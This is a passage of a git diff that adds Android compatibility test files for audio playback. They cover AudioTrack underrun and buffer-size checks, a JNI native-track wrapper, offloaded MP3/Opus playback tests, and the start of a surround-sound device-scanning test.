+                TEST_SAMPLES_PER_FRAME, 1, TEST_AMPLITUDE);
+        final short[] blip = AudioHelper.createSineWavesShort(TEST_FRAMES_PER_BLIP,
+                TEST_SAMPLES_PER_FRAME, TEST_CYCLES_PER_BLIP, TEST_AMPLITUDE);
+
+        // -------- initialization --------------
+        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        // Start with buffer twice as large as needed.
+        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                minBuffSize * 2, TEST_MODE);
+
+        // -------- test --------------
+        // Initial values
+        int minBuffSizeInFrames = minBuffSize / (TEST_SAMPLES_PER_FRAME * TEST_BYTES_PER_SAMPLE);
+
+        int underrunCount1 = track.getUnderrunCount();
+        assertEquals(TEST_NAME + ": initially no underruns", 0, underrunCount1);
+
+        // Prime the buffer.
+        while (track.write(data, 0, data.length) == data.length);
+
+        // Start playing
+        track.play();
+        int numBuffers = TEST_SR / TEST_FRAMES_PER_BUFFER;
+        for (int i = 0; i < numBuffers; i++) {
+            track.write(data, 0, data.length);
+        }
+        int underrunCountBase = track.getUnderrunCount();
+        int numSeconds = TEST_NUM_SECONDS;
+        numBuffers = numSeconds * TEST_SR / TEST_FRAMES_PER_BUFFER;
+        track.write(blip, 0, blip.length);
+        for (int i = 0; i < numBuffers; i++) {
+            track.write(data, 0, data.length);
+        }
+        underrunCount1 = track.getUnderrunCount();
+        assertEquals(TEST_NAME + ": no more underruns after initial",
+                underrunCountBase, underrunCount1);
+
+        // Sleep and force underruns.
+        track.write(blip, 0, blip.length);
+        for (int i = 0; i < 10; i++) {
+            track.write(data, 0, data.length);
+            Thread.sleep(500);  // ========================= SLEEP! ===========
+        }
+        track.write(blip, 0, blip.length);
+        underrunCount1 = track.getUnderrunCount();
+        assertTrue(TEST_NAME + ": expect underruns after sleep, #ur="
+                + underrunCount1,
+                underrunCountBase < underrunCount1);
+
+        track.write(blip, 0, blip.length);
+        for (int i = 0; i < numBuffers; i++) {
+            track.write(data, 0, data.length);
+        }
+
+        // Should have stopped by now.
+        underrunCount1 = track.getUnderrunCount();
+        track.write(blip, 0, blip.length);
+        for (int i = 0; i < numBuffers; i++) {
+            track.write(data, 0, data.length);
+        }
+        // Counts should match.
+        int underrunCount2 = track.getUnderrunCount();
+        assertEquals(TEST_NAME + ": underruns should stop happening",
+                underrunCount1, underrunCount2);
+
+        // -------- tear down --------------
+        track.release();
+    }
+
+    static class TrackBufferSizeChecker {
+        private final static String TEST_NAME = "testTrackBufferSize";
+        private final static int TEST_SR = 48000;
+        private final static int TEST_CONF = AudioFormat.CHANNEL_OUT_STEREO;
+        private final static int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
+        private final static int TEST_MODE = AudioTrack.MODE_STREAM;
+        private final static int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
+        private final static int FRAME_SIZE = 2 * 2; // stereo 16-bit PCM
+
+        public static int getFrameSize() {
+            return FRAME_SIZE;
+        }
+
+        public static int getMinBufferSize() {
+            return AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
+        }
+
+        public static AudioTrack createAudioTrack(int bufferSize) {
+            return new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
+                bufferSize, TEST_MODE);
+        }
+
+        public static void checkBadSize(int bufferSize) {
+            AudioTrack track = null;
+            try {
+                track = TrackBufferSizeChecker.createAudioTrack(bufferSize);
+                assertTrue(TEST_NAME + ": should not have survived size " + bufferSize, false);
+            } catch(IllegalArgumentException e) {
+                // expected
+            } finally {
+                if (track != null) {
+                    track.release();
+                }
+            }
+        }
+
+        public static void checkSmallSize(int bufferSize) {
+            AudioTrack track = null;
+            try {
+                track = TrackBufferSizeChecker.createAudioTrack(bufferSize);
+                assertEquals(TEST_NAME + ": should still be initialized with small size " + bufferSize,
+                            AudioTrack.STATE_INITIALIZED, track.getState());
+            } finally {
+                if (track != null) {
+                    track.release();
+                }
+            }
+        }
+    }
+
+    /**
+     * Test various values for bufferSizeInBytes.
+     *
+     * According to the latest documentation, any positive bufferSize that is a multiple
+     * of the frameSize is legal. Small sizes will be rounded up to the minimum size.
+     *
+     * Negative sizes, zero, or any non-multiple of the frameSize is illegal.
+     *
+     * @throws Exception
+     */
+    public void testTrackBufferSize() throws Exception {
+        TrackBufferSizeChecker.checkBadSize(0);
+        TrackBufferSizeChecker.checkBadSize(17);
+        TrackBufferSizeChecker.checkBadSize(18);
+        TrackBufferSizeChecker.checkBadSize(-9);
+        int frameSize = TrackBufferSizeChecker.getFrameSize();
+        TrackBufferSizeChecker.checkBadSize(-4 * frameSize);
+        for (int i = 1; i < 8; i++) {
+            TrackBufferSizeChecker.checkSmallSize(i * frameSize);
+            TrackBufferSizeChecker.checkBadSize(3 + (i * frameSize));
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackNative.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackNative.java
new file mode 100644
index 0000000..3b6f3ea
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackNative.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.annotation.IntDef;
+import android.annotation.NonNull;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+
+public class AudioTrackNative {
+    // Must be kept in sync with C++ JNI audio-track-native (AudioTrackNative) WRITE_FLAG_*
+    public static final int WRITE_FLAG_BLOCKING = 1 << 0;
+    /** @hide */
+    @IntDef(flag = true,
+            value = {
+                    WRITE_FLAG_BLOCKING,
+            })
+    @Retention(RetentionPolicy.SOURCE)
+    public @interface WriteFlags { }
+
+    public AudioTrackNative() {
+        mNativeTrackInJavaObj = nativeCreateTrack();
+    }
+
+    // TODO: eventually accept AudioFormat
+    // numBuffers is the number of internal buffers before hitting the OpenSL ES.
+    // A value of 0 means that all writes are blocking.
+    public boolean open(int numChannels, int sampleRate, boolean useFloat, int numBuffers) {
+        return open(numChannels, 0, sampleRate, useFloat, numBuffers);
+    }
+
+    public boolean open(int numChannels, int channelMask, int sampleRate,
+            boolean useFloat, int numBuffers) {
+        if (nativeOpen(mNativeTrackInJavaObj, numChannels, channelMask,
+                sampleRate, useFloat, numBuffers) == STATUS_OK) {
+            mChannelCount = numChannels;
+            return true;
+        }
+        return false;
+    }
+
+    public void close() {
+        nativeClose(mNativeTrackInJavaObj);
+    }
+
+    public boolean start() {
+        return nativeStart(mNativeTrackInJavaObj) == STATUS_OK;
+    }
+
+    public boolean stop() {
+        return nativeStop(mNativeTrackInJavaObj) == STATUS_OK;
+    }
+
+    public boolean pause() {
+        return nativePause(mNativeTrackInJavaObj) == STATUS_OK;
+    }
+
+    public boolean flush() {
+        return nativeFlush(mNativeTrackInJavaObj) == STATUS_OK;
+    }
+
+    public long getPositionInMsec() {
+        long[] position = new long[1];
+        if (nativeGetPositionInMsec(mNativeTrackInJavaObj, position) != STATUS_OK) {
+            throw new IllegalStateException();
+        }
+        return position[0];
+    }
+
+    public int getBuffersPending() {
+        return nativeGetBuffersPending(mNativeTrackInJavaObj);
+    }
+
+    /* returns number of samples written.
+     * 0 may be returned if !isBlocking.
+     * negative value indicates error.
+     */
+    public int write(@NonNull byte[] byteArray,
+            int offsetInSamples, int sizeInSamples, @WriteFlags int writeFlags) {
+        return nativeWriteByteArray(
+                mNativeTrackInJavaObj, byteArray, offsetInSamples, sizeInSamples, writeFlags);
+    }
+
+    public int write(@NonNull short[] shortArray,
+            int offsetInSamples, int sizeInSamples, @WriteFlags int writeFlags) {
+        return nativeWriteShortArray(
+                mNativeTrackInJavaObj, shortArray, offsetInSamples, sizeInSamples, writeFlags);
+    }
+
+    public int write(@NonNull float[] floatArray,
+            int offsetInSamples, int sizeInSamples, @WriteFlags int writeFlags) {
+        return nativeWriteFloatArray(
+                mNativeTrackInJavaObj, floatArray, offsetInSamples, sizeInSamples, writeFlags);
+    }
+
+    public int getChannelCount() {
+        return mChannelCount;
+    }
+
+    public static boolean test(int numChannels, int sampleRate, boolean useFloat,
+            int msecPerBuffer, int numBuffers) {
+        return test(numChannels, 0, sampleRate, useFloat, msecPerBuffer, numBuffers);
+    }
+
+    public static boolean test(int numChannels, int channelMask, int sampleRate, boolean useFloat,
+            int msecPerBuffer, int numBuffers) {
+        return nativeTest(numChannels, channelMask, sampleRate, useFloat, msecPerBuffer, numBuffers)
+                == STATUS_OK;
+    }
+
+    @Override
+    protected void finalize() {
+        nativeClose(mNativeTrackInJavaObj);
+        nativeDestroyTrack(mNativeTrackInJavaObj);
+    }
+
+    static {
+        System.loadLibrary("audiocts_jni");
+    }
+
+    private static final String TAG = "AudioTrackNative";
+    private int mChannelCount;
+    private final long mNativeTrackInJavaObj;
+    private static final int STATUS_OK = 0;
+
+    // static native API.
+    // The native API uses a long "track handle" created by nativeCreateTrack.
+    // The handle must be destroyed after use by nativeDestroyTrack.
+    //
+    // Return codes from the native layer are status_t.
+    // Converted to Java booleans or exceptions at the public API layer.
+    private static native long nativeCreateTrack();
+    private static native void nativeDestroyTrack(long track);
+    private static native int nativeOpen(
+            long track, int numChannels, int channelMask,
+            int sampleRate, boolean useFloat, int numBuffers);
+    private static native void nativeClose(long track);
+    private static native int nativeStart(long track);
+    private static native int nativeStop(long track);
+    private static native int nativePause(long track);
+    private static native int nativeFlush(long track);
+    private static native int nativeGetPositionInMsec(long track, @NonNull long[] position);
+    private static native int nativeGetBuffersPending(long track);
+    private static native int nativeWriteByteArray(long track, @NonNull byte[] byteArray,
+            int offsetInSamples, int sizeInSamples, @WriteFlags int writeFlags);
+    private static native int nativeWriteShortArray(long track, @NonNull short[] shortArray,
+            int offsetInSamples, int sizeInSamples, @WriteFlags int writeFlags);
+    private static native int nativeWriteFloatArray(long track, @NonNull float[] floatArray,
+            int offsetInSamples, int sizeInSamples, @WriteFlags int writeFlags);
+
+    // native interface for all-in-one testing, no track handle required.
+    private static native int nativeTest(
+            int numChannels, int channelMask, int sampleRate,
+            boolean useFloat, int msecPerBuffer, int numBuffers);
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackOffloadTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackOffloadTest.java
new file mode 100644
index 0000000..acc6724
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackOffloadTest.java
@@ -0,0 +1,348 @@
+/*
+ **
+ ** Copyright 2018, The Android Open Source Project
+ **
+ ** Licensed under the Apache License, Version 2.0 (the "License");
+ ** you may not use this file except in compliance with the License.
+ ** You may obtain a copy of the License at
+ **
+ **     http://www.apache.org/licenses/LICENSE-2.0
+ **
+ ** Unless required by applicable law or agreed to in writing, software
+ ** distributed under the License is distributed on an "AS IS" BASIS,
+ ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ** See the License for the specific language governing permissions and
+ ** limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.annotation.Nullable;
+import android.annotation.RawRes;
+import android.content.res.AssetFileDescriptor;
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioTrack;
+import android.media.audio.cts.R;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.SystemClock;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import javax.annotation.concurrent.GuardedBy;
+import java.io.InputStream;
+import java.util.concurrent.Executor;
+
+@NonMediaMainlineTest
+public class AudioTrackOffloadTest extends CtsAndroidTestCase {
+    private static final String TAG = "AudioTrackOffloadTest";
+
+
+    private static final int BUFFER_SIZE_SEC = 3;
+    private static final long DATA_REQUEST_TIMEOUT_MS = 6 * 1000; // 6s
+    private static final long DATA_REQUEST_POLL_PERIOD_MS = 1 * 1000; // 1s
+    private static final long PRESENTATION_END_TIMEOUT_MS = 8 * 1000; // 8s
+    private static final int AUDIOTRACK_DEFAULT_SAMPLE_RATE = 44100;
+    private static final int AUDIOTRACK_DEFAULT_CHANNEL_MASK = AudioFormat.CHANNEL_OUT_STEREO;
+
+    private static final AudioAttributes DEFAULT_ATTR = new AudioAttributes.Builder().build();
+
+    public void testIsOffloadSupportedNullFormat() throws Exception {
+        try {
+            final boolean offloadableFormat = AudioManager.isOffloadedPlaybackSupported(null,
+                    DEFAULT_ATTR);
+            fail("Shouldn't be able to use null AudioFormat in isOffloadedPlaybackSupported()");
+        } catch (NullPointerException e) {
+            // ok, NPE is expected here
+        }
+    }
+
+    public void testIsOffloadSupportedNullAttributes() throws Exception {
+        try {
+            final boolean offloadableFormat = AudioManager.isOffloadedPlaybackSupported(
+                    getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), null);
+            fail("Shouldn't be able to use null AudioAttributes in isOffloadedPlaybackSupported()");
+        } catch (NullPointerException e) {
+            // ok, NPE is expected here
+        }
+    }
+
+    public void testExerciseIsOffloadSupported() throws Exception {
+        final boolean offloadableFormat = AudioManager.isOffloadedPlaybackSupported(
+                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
+    }
+
+    public void testGetPlaybackOffloadSupportNullFormat() throws Exception {
+        try {
+            final int offloadMode = AudioManager.getPlaybackOffloadSupport(null,
+                    DEFAULT_ATTR);
+            fail("Shouldn't be able to use null AudioFormat in getPlaybackOffloadSupport()");
+        } catch (NullPointerException e) {
+            // ok, NPE is expected here
+        }
+    }
+
+    public void testGetPlaybackOffloadSupportNullAttributes() throws Exception {
+        try {
+            final int offloadMode = AudioManager.getPlaybackOffloadSupport(
+                    getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), null);
+            fail("Shouldn't be able to use null AudioAttributes in getPlaybackOffloadSupport()");
+        } catch (NullPointerException e) {
+            // ok, NPE is expected here
+        }
+    }
+
+    public void testExerciseGetPlaybackOffloadSupport() throws Exception {
+        final int offloadMode = AudioManager.getPlaybackOffloadSupport(
+                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
+        assertTrue("getPlaybackOffloadSupport returned invalid mode: " + offloadMode,
+            offloadMode == AudioManager.PLAYBACK_OFFLOAD_NOT_SUPPORTED
+                || offloadMode == AudioManager.PLAYBACK_OFFLOAD_SUPPORTED
+                || offloadMode == AudioManager.PLAYBACK_OFFLOAD_GAPLESS_SUPPORTED);
+    }
+
+    public void testMP3AudioTrackOffload() throws Exception {
+        testAudioTrackOffload(R.raw.sine1khzs40dblong,
+                /* bitRateInkbps= */ 192,
+                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
+    }
+
+    public void testOpusAudioTrackOffload() throws Exception {
+        testAudioTrackOffload(R.raw.testopus,
+                /* bitRateInkbps= */ 118, // Average
+                getAudioFormatWithEncoding(AudioFormat.ENCODING_OPUS));
+    }
+
+    private @Nullable AudioTrack getOffloadAudioTrack(@RawRes int audioRes, int bitRateInkbps,
+                                            AudioFormat audioFormat) {
+        if (!AudioManager.isOffloadedPlaybackSupported(audioFormat, DEFAULT_ATTR)) {
+            Log.i(TAG, "skipping testAudioTrackOffload as offload encoding "
+                    + audioFormat.getEncoding() + " is not supported");
+            // cannot test if offloading is not supported
+            return null;
+        }
+
+        int bufferSizeInBytes = bitRateInkbps * 1000 * BUFFER_SIZE_SEC / 8;
+        // format is offloadable, test playback head is progressing
+        AudioTrack track = new AudioTrack.Builder()
+                .setAudioAttributes(DEFAULT_ATTR)
+                .setAudioFormat(audioFormat)
+                .setTransferMode(AudioTrack.MODE_STREAM)
+                .setBufferSizeInBytes(bufferSizeInBytes)
+                .setOffloadedPlayback(true)
+                .build();
+        assertNotNull("Couldn't create offloaded AudioTrack", track);
+        assertEquals("Unexpected track sample rate", AUDIOTRACK_DEFAULT_SAMPLE_RATE,
+                track.getSampleRate());
+        assertEquals("Unexpected track channel mask", AUDIOTRACK_DEFAULT_CHANNEL_MASK,
+                track.getChannelConfiguration());
+        return track;
+    }
+
+    /**
+     * Test offload of an audio resource that MUST be at least 3sec long.
+     */
+    private void testAudioTrackOffload(@RawRes int audioRes, int bitRateInkbps,
+                                       AudioFormat audioFormat) throws Exception {
+        AudioTrack track = null;
+        try (AssetFileDescriptor audioToOffload = getContext().getResources()
+                .openRawResourceFd(audioRes);
+             InputStream audioInputStream = audioToOffload.createInputStream()) {
+
+            track = getOffloadAudioTrack(audioRes, bitRateInkbps, audioFormat);
+            if (track == null) {
+                return;
+            }
+
+            try {
+                track.registerStreamEventCallback(mExec, null);
+                fail("Shouldn't be able to register null StreamEventCallback");
+            } catch (Exception e) {
+            }
+            track.registerStreamEventCallback(mExec, mCallback);
+
+            int bufferSizeInBytes3sec = bitRateInkbps * 1000 * BUFFER_SIZE_SEC / 8;
+            final byte[] data = new byte[bufferSizeInBytes3sec];
+            final int read = audioInputStream.read(data);
+            assertEquals("Could not read enough audio from the resource file",
+                    bufferSizeInBytes3sec, read);
+
+            track.play();
+            int written = 0;
+            while (written < read) {
+                int wrote = track.write(data, written, read - written,
+                        AudioTrack.WRITE_BLOCKING);
+                Log.i(TAG, String.format("wrote %d bytes (%d out of %d)", wrote, written, read));
+                if (wrote < 0) {
+                    fail("Unable to write all read data, wrote " + written + " bytes");
+                }
+                written += wrote;
+            }
+
+            try {
+                final long elapsed = checkDataRequest(DATA_REQUEST_TIMEOUT_MS);
+                synchronized (mPresEndLock) {
+                    track.setOffloadEndOfStream();
+
+                    track.stop();
+                    mPresEndLock.safeWait(PRESENTATION_END_TIMEOUT_MS - elapsed);
+                }
+            } catch (InterruptedException e) {
+                fail("Error while sleeping");
+            }
+            synchronized (mPresEndLock) {
+                // we are at most PRESENTATION_END_TIMEOUT_MS + 1s after about 3s of data was
+                // supplied, presentation should have ended
+                assertEquals("onPresentationEnded not called one time",
+                        1, mCallback.mPresentationEndedCount);
+            }
+
+        } finally {
+            if (track != null) {
+                Log.i(TAG, "pause");
+                track.pause();
+                track.unregisterStreamEventCallback(mCallback);
+                track.release();
+            }
+        };
+    }
+
+    private long checkDataRequest(long timeout) throws Exception {
+        long checkStart = SystemClock.uptimeMillis();
+        boolean calledback = false;
+        while (SystemClock.uptimeMillis() - checkStart < timeout) {
+            synchronized (mEventCallbackLock) {
+                if (mCallback.mDataRequestCount > 0) {
+                    calledback = true;
+                    break;
+                }
+            }
+            Thread.sleep(DATA_REQUEST_POLL_PERIOD_MS);
+        }
+        assertTrue("onDataRequest not called", calledback);
+        return (SystemClock.uptimeMillis() - checkStart);
+    }
+
+    private AudioTrack allocNonOffloadAudioTrack() {
+        // Attrributes the AudioTrack are irrelevant in this case. We just need to provide
+        // an AudioTrack that IS NOT offloaded so that we can demonstrate failure.
+        AudioTrack track = new AudioTrack.Builder()
+                .setBufferSizeInBytes(2048/*arbitrary*/)
+                .build();
+
+        assert(track != null);
+        return track;
+    }
+
+     // Arbitrary values..
+    private static final int TEST_DELAY = 50;
+    private static final int TEST_PADDING = 100;
+    public void testOffloadPadding() {
+        AudioTrack track =
+                getOffloadAudioTrack(R.raw.sine1khzs40dblong,
+                /* bitRateInkbps= */ 192,
+                getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
+        if (track == null) {
+            return;
+        }
+
+        assertTrue(track.getOffloadPadding() >= 0);
+
+        track.setOffloadDelayPadding(0 /*delayInFrames*/, 0 /*paddingInFrames*/);
+
+        int offloadDelay;
+        offloadDelay = track.getOffloadDelay();
+        assertEquals(0, offloadDelay);
+
+        int padding = track.getOffloadPadding();
+        assertEquals(0, padding);
+
+        track.setOffloadDelayPadding(
+                TEST_DELAY /*delayInFrames*/,
+                TEST_PADDING /*paddingInFrames*/);
+        offloadDelay = track.getOffloadDelay();
+        assertEquals(TEST_DELAY, offloadDelay);
+        padding = track.getOffloadPadding();
+        assertEquals(TEST_PADDING, padding);
+    }
+
+    public void testIsOffloadedPlayback() {
+        // non-offloaded case
+        AudioTrack nonOffloadTrack = allocNonOffloadAudioTrack();
+        assertFalse(nonOffloadTrack.isOffloadedPlayback());
+
+        // offloaded case
+        AudioTrack offloadTrack =
+                getOffloadAudioTrack(R.raw.sine1khzs40dblong,
+                        /* bitRateInkbps= */ 192,
+                        getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3));
+        if (offloadTrack == null) {
+            return;
+        }
+        assertTrue(offloadTrack.isOffloadedPlayback());
+    }
+
+    public void testSetOffloadEndOfStreamWithNonOffloadedTrack() {
+        // Non-offload case
+        AudioTrack nonOffloadTrack = allocNonOffloadAudioTrack();
+        assertFalse(nonOffloadTrack.isOffloadedPlayback());
+        org.testng.Assert.assertThrows(IllegalStateException.class,
+                () -> nonOffloadTrack.setOffloadEndOfStream());
+    }
+
+    private static AudioFormat getAudioFormatWithEncoding(int encoding) {
+       return new AudioFormat.Builder()
+            .setEncoding(encoding)
+            .setSampleRate(AUDIOTRACK_DEFAULT_SAMPLE_RATE)
+            .setChannelMask(AUDIOTRACK_DEFAULT_CHANNEL_MASK)
+            .build();
+    }
+
+    private Executor mExec = new Executor() {
+        @Override
+        public void execute(Runnable command) {
+            command.run();
+        }
+    };
+
+    private final Object mEventCallbackLock = new Object();
+    private final SafeWaitObject mPresEndLock = new SafeWaitObject();
+
+    private EventCallback mCallback = new EventCallback();
+
+    private class EventCallback extends AudioTrack.StreamEventCallback {
+        @GuardedBy("mEventCallbackLock")
+        int mTearDownCount;
+        @GuardedBy("mPresEndLock")
+        int mPresentationEndedCount;
+        @GuardedBy("mEventCallbackLock")
+        int mDataRequestCount;
+
+        @Override
+        public void onTearDown(AudioTrack track) {
+            synchronized (mEventCallbackLock) {
+                Log.i(TAG, "onTearDown");
+                mTearDownCount++;
+            }
+        }
+
+        @Override
+        public void onPresentationEnded(AudioTrack track) {
+            synchronized (mPresEndLock) {
+                Log.i(TAG, "onPresentationEnded");
+                mPresentationEndedCount++;
+                mPresEndLock.safeNotify();
+            }
+        }
+
+        @Override
+        public void onDataRequest(AudioTrack track, int size) {
+            synchronized (mEventCallbackLock) {
+                Log.i(TAG, "onDataRequest size:"+size);
+                mDataRequestCount++;
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackSurroundTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackSurroundTest.java
new file mode 100644
index 0000000..c84b8e0
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackSurroundTest.java
@@ -0,0 +1,639 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.annotation.RawRes;
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Resources;
+import android.media.AudioAttributes;
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioTimestamp;
+import android.media.AudioTrack;
+import android.media.audio.cts.R;
+import android.media.cts.NonMediaMainlineTest;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.ShortBuffer;
+import java.util.ArrayList;
+import java.util.Random;
+
+// Test the Java AudioTrack surround sound and HDMI passthrough.
+// Most tests involve creating a track with a given format and then playing
+// a few seconds of audio. The playback is verified by measuring the output
+// sample rate based on the AudioTimestamps.
+
+@NonMediaMainlineTest
+public class AudioTrackSurroundTest extends CtsAndroidTestCase {
+    private static final String TAG = "AudioTrackSurroundTest";
+
+    private static final double MAX_RATE_TOLERANCE_FRACTION = 0.01;
+    private static final boolean LOG_TIMESTAMPS = false; // set true for debugging
+    // just long enough to measure the rate
+    private static final long SAMPLE_RATE_SHORT_TEST_DURATION_MILLIS = 5000;
+    // AC3 and IEC61937 tracks require more time
+    private static final long SAMPLE_RATE_LONG_TEST_DURATION_MILLIS = 12000;
+
+    // Set this true to prefer the device that supports the particular encoding.
+    // But note that as of 3/25/2016, a bug causes Direct tracks to fail.
+    // So only set true when debugging that problem.
+    private static final boolean USE_PREFERRED_DEVICE = false;
+
+    // Should we fail if there is no PCM16 device reported by device enumeration?
+    // This can happen if, for example, an ATV set top box does not have its HDMI cable plugged in.
+    private static final boolean REQUIRE_PCM_DEVICE = false;
+
+    private final static long NANOS_PER_MILLISECOND = 1000000L;
+    private final static int MILLIS_PER_SECOND = 1000;
+    private final static long NANOS_PER_SECOND = NANOS_PER_MILLISECOND * MILLIS_PER_SECOND;
+
+    private final static int RES_AC3_SPDIF_VOICE_32000 = R.raw.voice12_32k_128kbps_15s_ac3_spdif;
+    private final static int RES_AC3_SPDIF_VOICE_44100 = R.raw.voice12_44k_128kbps_15s_ac3_spdif;
+    private final static int RES_AC3_SPDIF_VOICE_48000 = R.raw.voice12_48k_128kbps_15s_ac3_spdif;
+    private final static int RES_AC3_VOICE_48000 = R.raw.voice12_48k_128kbps_15s_ac3;
+
+    private static int mLastPlayedEncoding = AudioFormat.ENCODING_INVALID;
+
+    // Devices that support various encodings.
+    private static boolean mDeviceScanComplete = false;
+    private static AudioDeviceInfo mInfoPCM16 = null;
+    private static AudioDeviceInfo mInfoAC3 = null;
+    private static AudioDeviceInfo mInfoE_AC3 = null;
+    private static AudioDeviceInfo mInfoDTS = null;
+    private static AudioDeviceInfo mInfoDTS_HD = null;
+    private static AudioDeviceInfo mInfoIEC61937 = null;
+
+    private static void log(String testName, String message) {
+        Log.i(TAG, "[" + testName + "] " + message);
+    }
+
+    private static void logw(String testName, String message) {
+        Log.w(TAG, "[" + testName + "] " + message);
+    }
+
+    private static void loge(String testName, String message) {
+        Log.e(TAG, "[" + testName + "] " + message);
+    }
+
+    // This is a special method that is called automatically before each test.
+    @Override
+    protected void setUp() throws Exception {
+        // Note that I tried to only scan for encodings once but the static
+        // data did not persist properly. That may be a bug.
+        // For now, just scan before every test.
+        scanDevicesForEncodings();
+    }
+
+    private void scanDevicesForEncodings() throws Exception {
+        final String MTAG = "scanDevicesForEncodings";
+        // Scan devices to see which encodings are supported.
+        AudioManager audioManager = (AudioManager) getContext()
+                .getSystemService(Context.AUDIO_SERVICE);
+        AudioDeviceInfo[] infos = audioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        for (AudioDeviceInfo info : infos) {
+            log(MTAG, "scanning devices, name = " + info.getProductName()
+                    + ", id = " + info.getId()
+                    + ", " + (info.isSink() ? "sink" : "source")
+                    + ", type = " + info.getType()
+                    + " ------");
+            String text = "{";
+            for (int encoding : info.getEncodings()) {
+                text += String.format("0x%08X, ", encoding);
+            }
+            text += "}";
+            log(MTAG, "  encodings = " + text);
+            text = "{";
+            for (int rate : info.getSampleRates()) {
+                text += rate + ", ";
+            }
+            text += "}";
+            log(MTAG, "  sample rates = " + text);
+            if (info.isSink()) {
+                for (int encoding : info.getEncodings()) {
+                    switch (encoding) {
+                        case AudioFormat.ENCODING_PCM_16BIT:
+                            mInfoPCM16 = info;
+                            log(MTAG, "mInfoPCM16 set to " + info);
+                            break;
+                        case AudioFormat.ENCODING_AC3:
+                            mInfoAC3 = info;
+                            log(MTAG, "mInfoAC3 set to " + info);
+                            break;
+                        case AudioFormat.ENCODING_E_AC3:
+                            mInfoE_AC3 = info;
+                            log(MTAG, "mInfoE_AC3 set to " + info);
+                            break;
+                        case AudioFormat.ENCODING_DTS:
+                            mInfoDTS = info;
+                            log(MTAG, "mInfoDTS set to " + info);
+                            break;
+                        case AudioFormat.ENCODING_DTS_HD:
+                            mInfoDTS_HD = info;
+                            log(MTAG, "mInfoDTS_HD set to " + info);
+                            break;
+                        case AudioFormat.ENCODING_IEC61937:
+                            mInfoIEC61937 = info;
+                            log(MTAG, "mInfoIEC61937 set to " + info);
+                            break;
+                        default:
+                            // This is OK. It is just an encoding that we don't care about.
+                            break;
+                    }
+                }
+            }
+        }
+    }
+
+    // Load a resource into a byte[]
+    private byte[] loadRawResourceBytes(@RawRes int id) throws Exception {
+        InputStream is = getContext().getResources().openRawResource(id);
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        try (BufferedInputStream bis = new BufferedInputStream(is)) {
+            for (int b = bis.read(); b != -1; b = bis.read()) {
+                bos.write(b);
+            }
+        }
+        return bos.toByteArray();
+    }
+
+    // Load a resource into a short[]
+    private short[] loadRawResourceShorts(@RawRes int id) throws Exception {
+        byte[] byteBuffer = loadRawResourceBytes(id);
+        ShortBuffer shortBuffer =
+                ByteBuffer.wrap(byteBuffer).order(ByteOrder.LITTLE_ENDIAN).asShortBuffer();
+        // Unfortunately, ShortBuffer.array() works with allocated buffers only.
